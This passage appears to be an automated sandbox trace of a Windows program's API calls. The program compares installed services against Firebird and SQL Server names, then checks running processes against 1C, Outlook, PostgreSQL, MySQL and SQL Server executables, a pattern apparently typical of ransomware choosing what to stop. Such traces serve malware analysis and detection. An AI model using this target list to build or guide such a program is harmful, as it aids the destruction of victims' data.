[0046.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0046.528] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0046.528] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0046.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0046.528] lstrlenW (lpString="CryptSvc") returned 8 [0046.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0046.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0046.528] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0046.528] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0046.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0046.529] lstrlenW (lpString="CscService") returned 10 [0046.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0046.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0046.529] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0046.529] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0046.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0046.529] lstrlenW (lpString="DcomLaunch") returned 10 [0046.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0046.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0046.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0046.529] lstrlenW (lpString="Dhcp") returned 4 [0046.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0046.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0046.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0046.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0046.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0046.529] lstrlenW (lpString="Dnscache") returned 8 [0046.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0046.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0046.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0046.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0046.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0046.529] lstrlenW (lpString="DPS") returned 3 [0046.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0046.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0046.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0046.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0046.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0046.529] lstrlenW (lpString="eventlog") returned 8 [0046.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0046.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0046.529] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0046.529] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0046.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0046.529] lstrlenW (lpString="EventSystem") returned 11 [0046.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0046.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0046.529] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0046.529] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0046.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0046.529] lstrlenW (lpString="gpsvc") returned 5 [0046.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0046.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0046.530] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0046.530] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0046.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0046.530] lstrlenW (lpString="iphlpsvc") returned 8 [0046.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.530] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0046.530] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0046.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0046.530] lstrlenW (lpString="LanmanServer") returned 12 [0046.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0046.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0046.530] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0046.530] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0046.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0046.530] lstrlenW (lpString="LanmanWorkstation") returned 17 [0046.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.530] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0046.530] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0046.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0046.530] lstrlenW (lpString="lmhosts") returned 7 [0046.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0046.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0046.530] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0046.530] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0046.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0046.530] lstrlenW (lpString="MMCSS") returned 5 [0046.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0046.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0046.530] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0046.530] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0046.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0046.530] lstrlenW (lpString="MpsSvc") returned 6 [0046.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0046.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0046.530] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0046.530] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0046.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0046.530] lstrlenW (lpString="Netman") returned 6 [0046.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0046.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0046.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0046.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0046.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0046.530] lstrlenW (lpString="netprofm") returned 8 [0046.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0046.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0046.531] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0046.531] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0046.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0046.531] lstrlenW (lpString="NlaSvc") returned 6 [0046.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0046.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0046.531] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0046.531] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0046.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0046.531] lstrlenW (lpString="nsi") returned 3 [0046.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0046.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0046.531] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0046.531] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0046.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0046.531] lstrlenW (lpString="PcaSvc") returned 6 [0046.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0046.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0046.531] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0046.531] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0046.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0046.531] lstrlenW (lpString="PlugPlay") returned 8 [0046.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0046.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0046.531] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0046.531] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0046.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0046.531] lstrlenW (lpString="Power") returned 5 [0046.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0046.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0046.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0046.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0046.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0046.531] lstrlenW (lpString="ProfSvc") returned 7 [0046.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0046.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0046.531] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0046.531] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0046.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0046.531] lstrlenW (lpString="RpcEptMapper") returned 12 [0046.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.531] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0046.531] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0046.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0046.531] lstrlenW (lpString="RpcSs") returned 5 [0046.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0046.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0046.531] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0046.531] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0046.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0046.531] lstrlenW (lpString="SamSs") returned 5 [0046.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0046.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0046.532] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0046.532] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0046.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0046.532] lstrlenW (lpString="Schedule") returned 8 [0046.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0046.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0046.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0046.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0046.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0046.532] lstrlenW (lpString="SENS") returned 4 [0046.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0046.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0046.532] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0046.532] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0046.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0046.532] lstrlenW (lpString="ShellHWDetection") returned 16 [0046.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.532] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0046.532] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0046.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0046.532] lstrlenW (lpString="Spooler") returned 7 [0046.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0046.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0046.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0046.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0046.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0046.532] lstrlenW (lpString="swprv") returned 5 [0046.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0046.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0046.532] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0046.532] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0046.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0046.532] lstrlenW (lpString="SysMain") returned 7 [0046.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0046.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0046.532] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0046.532] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0046.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0046.532] lstrlenW (lpString="Themes") returned 6 [0046.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0046.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0046.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0046.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0046.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0046.532] lstrlenW (lpString="TrkWks") returned 6 [0046.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0046.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0046.532] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0046.533] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0046.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0046.533] lstrlenW (lpString="UxSms") returned 5 [0046.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0046.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0046.533] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0046.533] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0046.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0046.533] lstrlenW (lpString="VSS") returned 3 [0046.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0046.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0046.533] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0046.533] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0046.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0046.533] lstrlenW (lpString="WdiServiceHost") returned 14 [0046.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.533] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0046.533] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0046.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0046.533] lstrlenW (lpString="WdiSystemHost") returned 13 [0046.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.533] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0046.533] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0046.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0046.533] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0046.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.533] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0046.533] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0046.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0046.533] lstrlenW (lpString="Winmgmt") returned 7 [0046.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0046.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0046.533] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0046.533] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0046.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0046.533] lstrlenW (lpString="WPDBusEnum") returned 10 [0046.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.533] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0046.533] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0046.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0046.533] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0046.533] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0046.536] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.536] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.537] lstrlenW (lpString="System") returned 6 [0046.537] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0046.537] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0046.537] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0046.537] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0046.537] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0046.537] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0046.537] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0046.537] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.537] lstrlenW (lpString="smss.exe") returned 8 [0046.537] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0046.537] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0046.537] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0046.537] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0046.538] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0046.538] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0046.538] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0046.538] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.538] lstrlenW (lpString="csrss.exe") returned 9 [0046.538] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.538] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0046.538] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0046.538] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0046.538] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0046.538] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0046.538] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0046.538] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.538] lstrlenW (lpString="wininit.exe") returned 11 [0046.538] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0046.538] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0046.539] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0046.539] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.539] lstrlenW (lpString="csrss.exe") returned 9 [0046.539] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.539] lstrlenW (lpString="winlogon.exe") returned 12 [0046.539] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.540] lstrlenW (lpString="services.exe") returned 12 [0046.540] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.540] lstrlenW (lpString="lsass.exe") returned 9 [0046.540] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0046.541] lstrlenW (lpString="lsm.exe") returned 7 [0046.541] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.541] lstrlenW (lpString="svchost.exe") returned 11 [0046.541] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.545] lstrlenW (lpString="svchost.exe") returned 11 [0046.545] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.545] lstrlenW (lpString="svchost.exe") returned 11 [0046.545] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: 